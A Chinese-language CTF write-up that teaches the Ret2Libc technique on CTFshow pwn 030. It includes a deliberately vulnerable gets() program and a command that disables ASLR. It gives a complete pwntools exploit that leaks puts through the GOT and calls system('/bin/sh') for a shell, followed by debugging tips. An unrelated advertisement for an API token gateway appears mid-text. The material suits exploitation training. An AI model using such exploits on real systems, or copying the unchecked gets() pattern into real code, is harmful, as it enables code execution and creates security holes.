老饭骨1. Ret2Libc攻击的本质与适用场景
在二进制安全领域，Ret2Libc（Return-to-libc）是一种经典的栈溢出利用技术。我第一次接触这个概念是在2015年参加一场线下CTF比赛时，当时遇到一道开启了NX保护的题目，传统的shellcode注入完全失效，正是Ret2Libc帮我打开了突破口。
Ret2Libc的核心思想是：当程序启用NX（No-eXecute）保护时，栈区域被标记为不可执行，此时传统的注入shellcode并跳转执行的方法不再有效。但系统库函数（如libc中的system()）本身就存在于可执行内存区域，我们可以通过精心构造调用链，让程序跳转到这些合法函数来达到攻击目的。
关键点：NX保护开启后，任何尝试执行栈上代码的行为都会触发段错误（Segmentation Fault）。但代码段（包括libc）仍然是可执行的，这就是Ret2Libc的理论基础。
这种攻击方式特别适用于以下场景：
- 存在栈溢出漏洞但开启NX保护的二进制程序
- 能泄露或预测libc基地址（ASLR未开启或已被绕过）
- 程序中存在如
system、execve等危险函数
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. pwn 030题目环境搭建与分析
2.1 实验环境配置
为了复现CTFshow-pwn 030这道题目，我们需要准备以下环境：
bash复制# 安装必要工具
sudo apt-get install -y gcc-multilib gdb peda python3-pip
pip3 install pwntools ropgadget
# 关闭ASLR（仅实验环境）
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# 编译示例程序（模拟题目环境）
cat <<EOF > vuln.c
#include <stdio.h>
#include <string.h>
void vulnerable() {
char buf[64];
gets(buf);
}
int main() {
vulnerable();
return 0;
}
EOF
gcc -m32 -fno-stack-protector -no-pie vuln.c -o vuln
2.2 二进制保护机制检查
使用checksec工具检查程序保护情况：
bash复制$ checksec --file=vuln
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
关键保护状态解读：
- NX enabled：栈不可执行，直接注入shellcode的方案无效
- No PIE：代码段基地址固定，便于计算偏移
- No canary：栈溢出不会触发栈保护检测
2.3 漏洞点定位与分析
通过反汇编可以清晰看到危险函数调用：
bash复制$ objdump -d -M intel vuln | grep -A20 vulnerable
08049196 <vulnerable>:
8049196: 55 push ebp
8049197: 89 e5 mov ebp,esp
8049199: 83 ec 48 sub esp,0x48
804919c: 83 ec 0c sub esp,0xc
804919f: 8d 45 b8 lea eax,[ebp-0x48]
80491a2: 50 push eax
80491a3: e8 98 fe ff ff call 8049040 <gets@plt>
80491a8: 83 c4 10 add esp,0x10
80491ab: 90 nop
80491ac: c9 leave
80491ad: c3 ret
从汇编代码可以看出：
- 缓冲区大小：
sub esp,0x48（72字节） - gets函数调用：没有任何长度检查
- 返回地址位于
ebp+4处
3. Ret2Libc攻击链构建详解
3.1 基础攻击流程
完整的Ret2Libc攻击通常包含以下步骤：
- 确定溢出偏移量（EIP覆盖点）
- 泄露libc函数地址（如puts@got）
- 计算libc基地址和system()地址
- 构造"/bin/sh"字符串引用
- 组装最终payload
3.2 偏移量计算实践
通过cyclic模式字符串确定精确偏移：
python复制from pwn import *
p = process('./vuln')
payload = cyclic(100)
p.sendline(payload)
p.wait()
core = p.corefile
eip = core.eip
offset = cyclic_find(eip)
print(f"EIP offset: {offset}")
在我的测试环境中，输出显示偏移量为76字节。这意味着我们需要76字节的填充数据才能覆盖到返回地址。
3.3 Libc地址泄露技术
由于ASLR在本实验中被关闭，我们可以直接获取libc函数地址。但在真实CTF环境中，通常需要先泄露一个已知函数的实际地址：
python复制# 获取plt和got表地址
elf = ELF('./vuln')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
# 构造泄露payload
payload = flat(
b'A' * offset,
puts_plt,
main_addr, # 返回到main函数进行二次攻击
puts_got
)
p.sendline(payload)
leak = u32(p.recv(4))
print(f"Leaked puts address: {hex(leak)}")
3.4 Libc基地址计算
假设已知libc版本为libc6-i386_2.31-0ubuntu9.2_amd64：
python复制from pwnlib.elf import ELF
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc_base = leak - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
print(f"Libc base: {hex(libc_base)}")
print(f"System address: {hex(system_addr)}")
print(f"/bin/sh address: {hex(binsh_addr)}")
4. 完整攻击Payload构造
4.1 经典调用约定问题
在32位系统中，函数参数通过栈传递。调用system()时需要确保：
- 返回地址（可以是exit地址）
- 参数字符串指针（/bin/sh地址）
构造格式：
code复制| buffer填充 | system地址 | 返回地址 | /bin/sh地址 |
4.2 最终Exploit代码
python复制from pwn import *
context(arch='i386', os='linux')
elf = ELF('./vuln')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
p = process('./vuln')
# 第一次泄露
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload1 = flat(
b'A' * 76,
puts_plt,
main_addr,
puts_got
)
p.sendline(payload1)
leak = u32(p.recv(4))
libc_base = leak - libc.symbols['puts']
# 计算关键地址
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
exit_addr = libc_base + libc.symbols['exit']
# 第二次攻击
payload2 = flat(
b'A' * 76,
system_addr,
exit_addr,
binsh_addr
)
p.sendline(payload2)
p.interactive()
4.3 攻击效果验证
成功执行后，我们将获得一个shell：
code复制$ whoami
ctf
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
5. 现代环境下的挑战与应对
5.1 ASLR带来的变化
在实际CTF比赛中，ASLR（Address Space Layout Randomization）通常是开启的。这意味着每次运行程序时，libc的基地址都会变化。应对方法包括：
- 部分覆盖：利用地址低12位不变特性（page对齐）
- 多次泄露：通过程序漏洞多次获取地址信息
- GOT覆写：修改GOT表项为system地址
5.2 防御措施演进
现代系统增加了更多保护机制：
- FULL RELRO：防止GOT表修改
- PIE：代码段随机化
- Stack Canary：检测栈溢出
对应的绕过技术也在发展：
- ROP（Return-Oriented Programming）：组合代码片段
- JOP（Jump-Oriented Programming）：利用间接跳转
- COP（Call-Oriented Programming）：利用调用指令
6. 实战调试技巧与心得
6.1 GDB调试关键命令
在开发Exploit时，这些GDB命令非常有用：
bash复制# 查看内存映射
info proc mappings
# 查找字符串
find /bin/sh
# 查看函数汇编
disas vulnerable
# 设置硬件断点
hbreak *0x080491a3 # gets调用处
6.2 常见问题排查
-
Segmentation Fault：
- 检查payload长度是否准确
- 验证返回地址是否对齐
- 确认函数参数传递正确
-
无输出或异常退出：
- 确保管道没有被意外关闭
- 检查是否有标准输出缓冲问题（可尝试
setvbuf）
-
地址计算错误：
- 重新确认libc版本
- 检查偏移计算是否考虑PIE
6.3 性能优化建议
- 使用
pwntools的flat()替代手动拼接 - 对已知偏移创建模板脚本
- 利用
ROP()类自动生成ROP链 - 开发时先本地测试再远程攻击
7. 扩展学习路径
掌握了基础Ret2Libc后，建议继续深入：
-
高级ROP技术：
- SROP（Sigreturn-Oriented Programming）
- BROP（Blind ROP）
-
堆利用技术：
- Use-After-Free
- Heap Overflow
- Fastbin Attack
-
内核利用：
- 内核ROP
- 提权技术
我在实际CTF比赛中发现，很多现代题目都是多种技术的组合。建议从基础开始，逐步构建完整的二进制漏洞利用知识体系。每次遇到新保护机制时，先理解其设计原理，再思考可能的绕过方式，这种思维方式比单纯记忆技术点更为重要。